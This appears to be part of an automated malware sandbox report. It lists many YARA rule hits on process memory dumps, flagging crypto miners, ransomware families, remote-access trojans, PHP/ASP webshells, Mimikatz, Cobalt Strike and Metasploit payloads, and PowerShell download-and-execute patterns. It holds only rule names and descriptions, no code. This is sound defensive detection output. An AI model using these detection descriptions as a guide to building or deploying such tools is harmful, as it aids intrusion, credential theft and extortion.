                                                            • Rule: CVE_2018_4878_0day_ITW, Description: unknown, Source: 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmp, Author: unknown
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Niros, Description: Yara detected Niros Ransomware, Source: 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18418037701.0000015B1B2C1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18418037701.0000015B1B2C1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18418037701.0000015B1B2C1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18418460951.0000015B1B2C1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18418460951.0000015B1B2C1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18418460951.0000015B1B2C1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: TA17_293A_malware_1, Description: inveigh pen testing tools & related artifacts, Source: 00000023.00000003.18290582002.0000015B1BF65000.00000004.00000001.sdmp, Author: US-CERT Code Analysis Team (modified by Florian Roth)
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18290582002.0000015B1BF65000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which uses any eval/exec function directly on user input, Source: 00000023.00000003.18340382300.0000015B1BB10000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18340382300.0000015B1BB10000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18418909373.0000015B1B2C1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18418909373.0000015B1B2C1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18418909373.0000015B1B2C1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18332249196.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000023.00000003.18332249196.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18332249196.0000015B1A914000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: ZxShell_Jul17, Description: Detects a ZxShell - CN threat group, Source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: gh0st, Description: unknown, Source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, Author: https://github.com/jackcr/
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, Source: 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 00000023.00000003.18309001390.0000015B1AF24000.00000004.00000001.sdmp, Author: Eyal Sela (slightly modified by Florian Roth)
                                                            • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000023.00000003.18309001390.0000015B1AF24000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18347963996.0000015B1BF22000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 00000023.00000003.18347963996.0000015B1BF22000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Buran, Description: Yara detected Buran Ransomware, Source: 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Gocoder_3, Description: Yara detected Gocoder ransomware, Source: 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, Source: 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Tofu_Backdoor, Description: Detects Tofu Trojan, Source: 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmp, Author: Cylance
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18343459823.0000015B1AC31000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: xtremrat, Description: Xtrem RAT v3.5, Source: 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp, Author: Jean-Philippe Teissier / @Jipe_
                                                            • Rule: Base64_PS1_Shellcode, Description: Detects Base64 encoded PS1 Shellcode, Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, Author: Nick Carr, David Ledbetter
                                                            • Rule: Pupy_Backdoor, Description: Detects Pupy backdoor, Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Meterpreter, Description: Yara detected Meterpreter, Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_RevengeRAT, Description: Yara detected RevengeRAT, Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_EvilGnomeRC5Key, Description: Yara detected Linux EvilGnome RC5 key, Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, Author: unknown
                                                            • Rule: Amplia_Security_Tool, Description: Amplia Security Tool, Source: 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmp, Author: unknown
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: RemCom_RemoteCommandExecution, Description: Detects strings from RemCom tool, Source: 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_RemComRemoteAdmin, Description: Yara detected RemCom RemoteAdmin tool, Source: 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: PUA_CryptoMiner_Jan19_1, Description: Detects Crypto Miner strings, Source: 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 00000023.00000003.18351572125.0000015B1C174000.00000004.00000001.sdmp, Author: FireEye
                                                            • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000023.00000003.18351572125.0000015B1C174000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18306567757.0000015B1C2D4000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18306567757.0000015B1C2D4000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18306567757.0000015B1C2D4000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18411594732.0000015B1B2C1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18411594732.0000015B1B2C1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18411594732.0000015B1B2C1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Growtopia, Description: Yara detected Growtopia, Source: 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 00000023.00000003.18282718286.0000015B1C174000.00000004.00000001.sdmp, Author: FireEye
                                                            • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000023.00000003.18282718286.0000015B1C174000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which uses any eval/exec function directly on user input, Source: 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18317647190.0000015B1B61C000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: xtremrat, Description: Xtrem RAT v3.5, Source: 00000023.00000003.18317647190.0000015B1B61C000.00000004.00000001.sdmp, Author: Jean-Philippe Teissier / @Jipe_
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18316997643.0000015B1B598000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, Source: 00000023.00000003.18316997643.0000015B1B598000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18305228496.0000015B1B858000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18296064516.0000015B1BF22000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 00000023.00000003.18296064516.0000015B1BF22000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: APT_Backdoor_Win_GoRat_Memory, Description: Identifies GoRat malware in memory based on strings., Source: 00000023.00000003.18351179947.0000015B1BCD0000.00000004.00000001.sdmp, Author: FireEye
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18403089371.0000015B1B2C1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18403089371.0000015B1B2C1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18403089371.0000015B1B2C1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in sample from CN group repo leak in October 2018, Source: 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: Cobaltbaltstrike_Payload_Encoded, Description: Detects CobaltStrike payloads, Source: 00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, Author: Avast Threat Intel Team
                                                            • Rule: webshell_php_obfuscated_encoding, Description: PHP webshell obfuscated by encoding, Source: 00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, Source: 00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 00000023.00000003.18294299849.0000015B1C174000.00000004.00000001.sdmp, Author: FireEye
                                                            • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000023.00000003.18294299849.0000015B1C174000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: HackTool_MSIL_SharPersist_2, Description: unknown, Source: 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp, Author: FireEye
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18287592963.0000015B1BBD8000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in sample from CN group repo leak in October 2018, Source: 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18325517837.0000015B1BF22000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 00000023.00000003.18325517837.0000015B1BF22000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18330638755.0000015B1B6A0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source: 00000023.00000003.18330638755.0000015B1B6A0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: APT_DeputyDog_Fexel, Description: unknown, Source: 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp, Author: ThreatConnect Intelligence Research Team
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18316329497.0000015B1A504000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18316329497.0000015B1A504000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, Source: 00000023.00000003.18338385554.0000015B1B3CA000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: Cobaltbaltstrike_Payload_Encoded, Description: Detects CobaltStrike payloads, Source: 00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, Author: Avast Threat Intel Team
                                                            • Rule: webshell_php_obfuscated_encoding, Description: PHP webshell obfuscated by encoding, Source: 00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, Source: 00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: Hacktool_Strings_p0wnedShell, Description: p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShell.cs, Source: 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: Suspicious_PowerShell_WebDownload_1, Description: Detects suspicious PowerShell code that downloads from web sites, Source: 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), Source: 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: Msfpayloads_msf_psh, Description: Metasploit Payloads - file msf-psh.vba, Source: 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: SUSP_Script_Obfuscation_Char_Concat, Description: Detects strings found in sample from CN group repo leak in October 2018, Source: 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Clop, Description: Yara detected Clop Ransomware, Source: 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Nemty, Description: Yara detected Nemty Ransomware, Source: 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: WScriptShell_Case_Anomaly, Description: Detects obfuscated wscript.shell commands, Source: 00000023.00000003.18323868678.0000015B1BD96000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 00000023.00000003.18323868678.0000015B1BD96000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, Source: 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected Allatori_JAR_Obfuscator, Source: 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18350449076.0000015B1B6A0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source: 00000023.00000003.18350449076.0000015B1B6A0000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: GoldDragon_Aux_File, Description: Detects export from Gold Dragon - February 2018, Source: 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which uses any eval/exec function directly on user input, Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000023.00000003.18310362275.0000015B1B490000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000023.00000003.18310362275.0000015B1B490000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: RemCom_RemoteCommandExecution, Description: Detects strings from RemCom tool, Source: 00000023.00000003.18333848371.0000015B1A546000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_RemComRemoteAdmin, Description: Yara detected RemCom RemoteAdmin tool, Source: 00000023.00000003.18333848371.0000015B1A546000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: SUSP_PowerShell_Caret_Obfuscation_2, Description: Detects powershell keyword obfuscated with carets, Source: 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in sample from CN group repo leak in October 2018, Source: 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: SUSP_Script_Obfuscation_Char_Concat, Description: Detects strings found in sample from CN group repo leak in October 2018, Source: 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18301965811.0000015B1AEB4000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18335934182.0000015B1B858000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18331852304.0000015B1A84E000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s obfuscated string, Source: 00000023.00000003.18411989385.0000015B1B2C1000.00000004.00000001.sdmp, Author: Arnim Rupp
                                                            • Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded code that has been base64 encoded, Source: 00000023.00000003.18411989385.0000015B1B2C1000.00000004.00000001.sdmp, Author: Florian Roth
                                                            • Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 00000023.00000003.18411989385.0000015B1B2C1000.00000004.00000001.sdmp, Author: Joe Security
                                                            • Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which uses any eval/exec function directly on user input, Source: 00000023.00000003.18318342429.0000015B1C460000.00000004.00000001.sdmp, Author: Arnim Rupp
